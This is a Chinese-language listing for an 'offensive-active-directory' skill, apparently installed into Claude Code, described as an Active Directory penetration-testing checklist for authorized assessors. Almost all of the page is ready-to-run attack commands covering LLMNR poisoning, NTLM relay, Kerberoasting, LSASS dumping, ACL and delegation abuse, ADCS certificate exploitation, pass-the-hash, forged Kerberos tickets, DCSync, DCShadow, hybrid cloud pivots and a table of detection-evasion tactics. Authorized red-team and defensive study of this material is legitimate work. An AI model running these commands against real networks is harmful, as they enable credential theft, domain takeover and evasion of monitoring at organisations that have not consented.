关于 offensive-active-directory
面向授权安全评估人员的 Active Directory 攻防测试方法清单,覆盖侦察、凭据获取、权限提升、横向移动和持久化,并提供命令示例与检查要点。
主要功能
- 01离线与在线目录侦察
- 02凭据获取与 Kerberos 攻击
- 03ACL、委派与 ADCS 权限提升
- 04横向移动与持久化
- 05混合身份与检测规避要点
适用场景
- 01规划 Active Directory 渗透测试步骤
- 02检查域内权限提升与信任路径
- 03记录安全评估中的攻击链
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ snailsploit/ claude-red --skill offensive-active-directory安装后在 Claude Code 中输入/offensive-active-directory确认已加载。
详细介绍
Active Directory — 攻击性测试方法
快速工作流
- 离线侦察 AD 结构(BloodHound、ADExplorer 快照)——尽量减少实时查询
- 通过投毒、Kerberoasting、ASREProast 或在允许的情况下从 LSASS 获取凭据
- 绘制通往 Domain Admin / Enterprise Admin / Tier 0 的攻击路径
- 选择检测成本最低的路径执行,并在每个跳点进行验证
- 建立持久化,并记录每项操作及其时间戳
侦察
BloodHound 数据收集
# SharpHound (CSharp collector) — most stealthy with throttling
SharpHound.exe -c All,GPOLocalGroup --Throttle 1000 --Jitter 30 --ZipFileName recon.zip
# Stealth collection (DC-only, avoids workstation noise)
SharpHound.exe -c DCOnly --Stealth
# Bloodhound.py from Linux (no Windows host needed)
bloodhound-python -d corp.local -u user -p pass -ns 10.0.0.1 -c All
PowerView(不投放工具)
# Domain enumeration without binaries
$d = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
Get-DomainUser -SPN | Select samaccountname,serviceprincipalname
Get-DomainComputer -Unconstrained
Get-DomainGPO | ?{$_.gpcmachineextensionnames -match "Restricted Groups"}
Get-DomainObjectAcl -Identity 'Domain Admins' -ResolveGUIDs |
?{$_.ActiveDirectoryRights -match 'WriteDacl|GenericAll|WriteOwner'}
离线使用 ADExplorer
# Take snapshot from any low-priv user, analyze offline
ADExplorer.exe → File → Create Snapshot
# Convert to BloodHound format
ADExplorerSnapshot.py snapshot.dat -o output/
凭据获取
LLMNR / NBT-NS / mDNS 投毒
# Capture NetNTLMv2 hashes from broadcast resolution
responder -I eth0 -wrf
# Inveigh (Windows-side, when you have a foothold)
Invoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -HTTP Y
使用 hashcat 的模式 5600 破解。如果破解失败,则改用中继。
NTLM 中继
# Identify relay targets (no SMB signing, LDAP signing not required)
nxc smb 10.0.0.0/24 --gen-relay-list relay-targets.txt
# Relay to LDAP/LDAPS for ACL abuse, ADCS for cert request
impacket-ntlmrelayx -tf relay-targets.txt -smb2support \
--escalate-user attacker --delegate-access
# Relay to ADCS Web Enrollment (ESC8) — requires HTTP endpoint up
impacket-ntlmrelayx -t http://ca/certsrv/certfnsh.asp \
--adcs --template DomainController
Kerberoasting
# Request TGS for all SPN-bearing accounts
Rubeus.exe kerberoast /outfile:tgs.txt /nowrap
# AES-only accounts (harder to crack but worth attempting)
Rubeus.exe kerberoast /aes /outfile:tgs_aes.txt
# Cross-platform from Linux
impacket-GetUserSPNs corp.local/user:pass -dc-ip 10.0.0.1 -request
hashcat -m 13100 tgs.txt rockyou.txt -r OneRuleToRuleThemAll.rule
ASREProasting
# Find users with DONT_REQUIRE_PREAUTH set
impacket-GetNPUsers corp.local/ -usersfile users.txt -dc-ip 10.0.0.1 -no-pass
hashcat -m 18200 asrep.txt rockyou.txt
LSASS / SAM 转储
:: Modern, AV-friendly: comsvcs.dll minidump
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <PID> C:\out.dmp full
:: Task Manager → lsass.exe → Create dump file (GUI route, no binary drop)
:: nanodump (handle duplication, no MiniDumpWriteDump)
nanodump.exe --pid <PID> -w lsass.dmp --valid
使用 Mimikatz 或 pypykatz 离线解析:
pypykatz lsa minidump lsass.dmp
AD 内的权限提升
ACL 滥用
| 权限 | 滥用方式 |
|---|---|
GenericAll / GenericWrite | 添加 SPN → Kerberoast;重置密码;添加成员 |
WriteDacl | 授予自己 DCSync 权限,然后执行 DCSync |
WriteOwner | 获取所有权 → 授予权限 → 利用 |
AllExtendedRights(用户) | 强制更改密码 |
AllExtendedRights(域) | DCSync |
AddMember | 将自己添加到特权组 |
WriteSPN | 设置 SPN,对目标执行 kerberoast |
# Targeted Kerberoast (write SPN, roast, remove SPN)
Set-DomainObject -Identity victim -Set @{serviceprincipalname='fake/SPN'}
Rubeus.exe kerberoast /user:victim
Set-DomainObject -Identity victim -Clear serviceprincipalname
# Grant DCSync via WriteDacl
Add-DomainObjectAcl -TargetIdentity 'DC=corp,DC=local' \
-PrincipalIdentity attacker -Rights DCSync
Kerberos 委派
# Find delegation
Get-DomainComputer -Unconstrained
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth
# Unconstrained → wait for / coerce DC auth, capture TGT
Rubeus.exe monitor /interval:5 /nowrap
# Constrained (S4U2self/S4U2proxy) — impersonate any user to allowed SPN
Rubeus.exe s4u /user:svc_acct /rc4:<hash> /impersonateuser:Administrator \
/msdsspn:cifs/dc.corp.local /ptt
# Resource-Based Constrained Delegation (RBCD) — write msDS-AllowedToActOnBehalfOfOtherIdentity
# Requires GenericAll/GenericWrite on the target computer object
强制认证原语
| 技术 | 工具 / RPC |
|---|---|
| PetitPotam | MS-EFSRPC(EfsRpcOpenFileRaw、EfsRpcEncryptFileSrv) |
| PrinterBug | MS-RPRN(RpcRemoteFindFirstPrinterChangeNotificationEx) |
| DFSCoerce | MS-DFSNM(NetrDfsRemoveStdRoot) |
| ShadowCoerce | MS-FSRVP |
| WebDAV | 在任意 Web 获取请求中嵌入 UNC 路径并进行查找替换 |
# Coerce + relay full chain
impacket-ntlmrelayx -t ldap://dc -smb2support --delegate-access &
PetitPotam.py -u low -p pass attacker-ip dc-ip
# Result: RBCD set, S4U → DA on coerced machine
GPO 滥用
# Find GPOs you can edit
Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs |
?{ $_.SecurityIdentifier -eq (Get-DomainUser current).objectsid `
-and $_.ActiveDirectoryRights -match 'WriteProperty|WriteDacl' }
# SharpGPOAbuse — add scheduled task / immediate task to GPO
SharpGPOAbuse.exe --AddComputerTask --TaskName Update --Author NT\System \
--Command cmd.exe --Arguments "/c net group 'Domain Admins' attacker /add /domain" \
--GPOName "Workstation Policy"
ADCS 滥用 — ESC1 至 ESC15
枚举
certipy find -u [email protected] -p pass -dc-ip 10.0.0.1 -vulnerable -stdout
常见错误配置
| ID | 错误配置 | 利用方式 |
|---|---|---|
| ESC1 | Client Auth + ENROLLEE_SUPPLIES_SUBJECT | 请求包含任意 UPN 的证书 |
| ESC2 | Any Purpose EKU | 请求可用于任意用途的证书 |
| ESC3 | Enrollment Agent | 请求代理证书,然后代表任意用户操作 |
| ESC4 | 存在漏洞的模板 ACL | 修改模板以构成 ESC1 |
| ESC6 | CA 上启用 EDITF_ATTRIBUTESUBJECTALTNAME2 | 在任何模板上注入 SAN |
| ESC7 | 存在漏洞的 CA ACL(ManageCA) | 批准自己的待处理请求 |
| ESC8 | Web Enrollment 使用 HTTP + 未启用 EPA | NTLM 中继 → 证书 |
| ESC9 | 无安全扩展 + UPN | 重命名帐户后进行 UPN 欺骗 |
| ESC10 | StrongCertificateBindingEnforcement 设置较弱 | 无需重命名即可进行 UPN 欺骗 |
| ESC11 | RPC 未受保护(未设置 ICertPassage IF_ENFORCEENCRYPTICERTREQUEST) | 通过 RPC 中继 |
| ESC13 | 与组关联的颁发策略 | 证书授予组成员身份 |
| ESC14 | 可写入 altSecurityIdentities | 将攻击者证书映射到管理员 |
| ESC15 | EKUwu — 架构 v1 模板 | 在请求时注入 EKU |
ESC1 利用
# Request cert as Administrator
certipy req -u [email protected] -p pass -ca CORP-CA -template VulnTemplate \
-upn [email protected]
# Use cert to get TGT and NT hash via UnPAC-the-Hash
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.1
ESC8(Web Enrollment 中继)
# Coerce any DC, relay to ADCS Web Enrollment, request DC cert
impacket-ntlmrelayx -t http://ca/certsrv/certfnsh.asp \
--adcs --template DomainController &
PetitPotam.py attacker-ip dc.corp.local
# Result: cert for DC$ → TGT → DCSync
横向移动
Pass-the-Hash / Overpass-the-Hash
# PTH with NT hash
nxc smb 10.0.0.0/24 -u admin -H <NThash> --local-auth
impacket-psexec corp/admin@target -hashes :<NThash>
# Overpass-the-Hash (NT hash → TGT, useful for Kerberos-only targets)
Rubeus.exe asktgt /user:admin /rc4:<NThash> /ptt
Pass-the-Ticket
# Inject TGT
Rubeus.exe ptt /ticket:base64.kirbi
# Or from .ccache
KRB5CCNAME=admin.ccache impacket-secretsdump -k -no-pass dc.corp.local
隐蔽横向移动工具
# WinRM (no event logs in default channel for command exec)
evil-winrm -i target -u admin -H <hash>
# SMB exec without service creation (uses task scheduler)
impacket-atexec corp/admin@target -hashes :<hash> "whoami"
# WMI
impacket-wmiexec corp/admin@target -hashes :<hash>
# DCOM (MMC20.Application, ShellWindows, ShellBrowserWindow)
Invoke-DCOM -ComputerName target -Method MMC20 -Command "calc.exe"
持久化
Golden Ticket(伪造 krbtgt)
# Requires krbtgt NT hash (from DCSync)
impacket-ticketer -nthash <krbtgt-NT> -domain-sid S-1-5-21-... -domain corp.local Administrator
KRB5CCNAME=Administrator.ccache impacket-psexec -k -no-pass dc.corp.local
Silver Ticket(按服务伪造)
# Forge TGS for a specific service using its account hash
impacket-ticketer -nthash <svc-NT> -domain-sid <SID> -domain corp.local \
-spn cifs/server.corp.local Administrator
Diamond / Sapphire Ticket(现代方法,可规避针对 krbtgt 的 MDI)
# Diamond — modify legitimate TGT in-flight (no krbtgt hash on wire)
Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512
DCSync
impacket-secretsdump -just-dc-user 'corp/krbtgt' corp/admin@dc -hashes :<hash>
# In-memory PowerShell variant (Mimikatz)
Invoke-Mimikatz -Command '"lsadump::dcsync /user:krbtgt"'
DCShadow(注册恶意 DC,推送更改)
mimikatz # !+
mimikatz # !processtoken
mimikatz # lsadump::dcshadow /object:CN=victim,... /attribute:primaryGroupID /value:519
mimikatz # lsadump::dcshadow /push
AdminSDHolder
添加 ACE,授予你的帐户对 CN=AdminSDHolder,CN=System,DC=corp,DC=local 的 GenericAll 权限。SDProp 每 60 分钟将其传播到所有受保护组。
林与信任攻击
# Map trusts
Get-DomainTrust -SearchBase "DC=corp,DC=local"
Get-ForestTrust
# SID History injection (cross-forest if SID filtering disabled)
# ExtraSids in golden ticket → admin in trusted forest
impacket-ticketer -nthash <krbtgt> -domain-sid <child-SID> \
-extra-sid S-1-5-21-<parent>-519 -domain child.corp.local Administrator
# Trust ticket forging (inter-realm TGT)
Rubeus.exe asktgs /service:krbtgt/parent.local /ticket:trust-ticket.kirbi
混合 AD / Entra ID (Azure AD) 枢轴
| 枢轴 | 路径 |
|---|---|
| AAD Connect 服务被攻陷 | 转储 MSOL_ 账户 → 在本地执行 DCSync |
| 无缝 SSO | 为 AZUREADSSOACC$ 伪造 Kerberos 票据 → 以任意用户身份使用云 SSO |
| PTA 代理 | 劫持 Microsoft.Azure.SecurityTokenService DLL → 获取明文 |
| PHS 哈希同步 | 从 AAD Connect SQL(ADSync DB)读取本地哈希 |
| 联合信任 | 使用被盗的 ADFS 令牌签名证书伪造 SAML 令牌(Golden SAML) |
| Pass-the-PRT | 从设备窃取 PRT Cookie → 以该用户身份建立云会话 |
# AADInternals — Hybrid identity attack toolkit
Get-AADIntADSyncCredentials # Extract MSOL_ creds from AAD Connect
Open-AADIntOffice365Portal -AccessToken $token
New-AADIntSAMLToken -ImmutableID 'a==' -Issuer 'http://sts/adfs/services/trust' \
-PfxFileName 'token-signing.pfx'
规避检测(MDI / Defender for Identity)
| MDI 检测器 | 规避方式 |
|---|---|
| Honeytoken 账户访问 | 访问账户前,务必检查 description 和近期活动 |
| 通过 SAMR 进行侦察 | 仅使用 ADWS / LDAP 收集,并限制频率 |
| 可疑的 Kerberos 委派 | 避免在受监控的 DC 上执行容易引起注意的 S4U2self 链 |
| Golden/Silver Ticket 检测 | 使用 Diamond/Sapphire 变体;匹配合法的票据有效期/加密方式 |
| 来自非 DC 的 DCSync | 通过具有合法复制权限的账户中继 |
| Pass-the-Hash | 使用 overpass-the-hash,在横向移动前转换为 Kerberos |
# Identify MDI sensors before noisy actions
Get-DomainComputer -SPN '*MicrosoftATA*'
Get-DomainComputer | ?{ $_.servicePrincipalName -match 'AATPSensor' }
行动速查表
# 1. Anonymous LDAP enum (no creds)
ldapsearch -x -H ldap://dc -s base -b "" "(objectclass=*)"
nxc ldap dc -u '' -p '' --users
# 2. Null SMB session
nxc smb dc -u '' -p '' --shares
impacket-rpcclient -U '' dc -no-pass
# 3. Password spray (low and slow)
nxc smb dc -u users.txt -p 'Winter2025!' --continue-on-success
# 4. Once authed: full enum + BloodHound
bloodhound-python -d corp.local -u user -p pass -ns dc -c All --zip
# 5. Identify attack path → execute → loot → persist
关键参考资料
- MITRE ATT&CK:TA0006(凭据访问)、TA0008(横向移动)、T1558(窃取/伪造 Kerberos)
- ADCS:SpecterOps《Certified Pre-Owned》(Schroeder、Christensen)
- BloodHound:bloodhound.specterops.io
- 强制认证:github.com/p0dalirius/Coercer(统一的强制认证工具包)
- 来源:https://github.com/SnailSploit/offensive-checklist/blob/main/active-directory.md
评论
支持 Markdown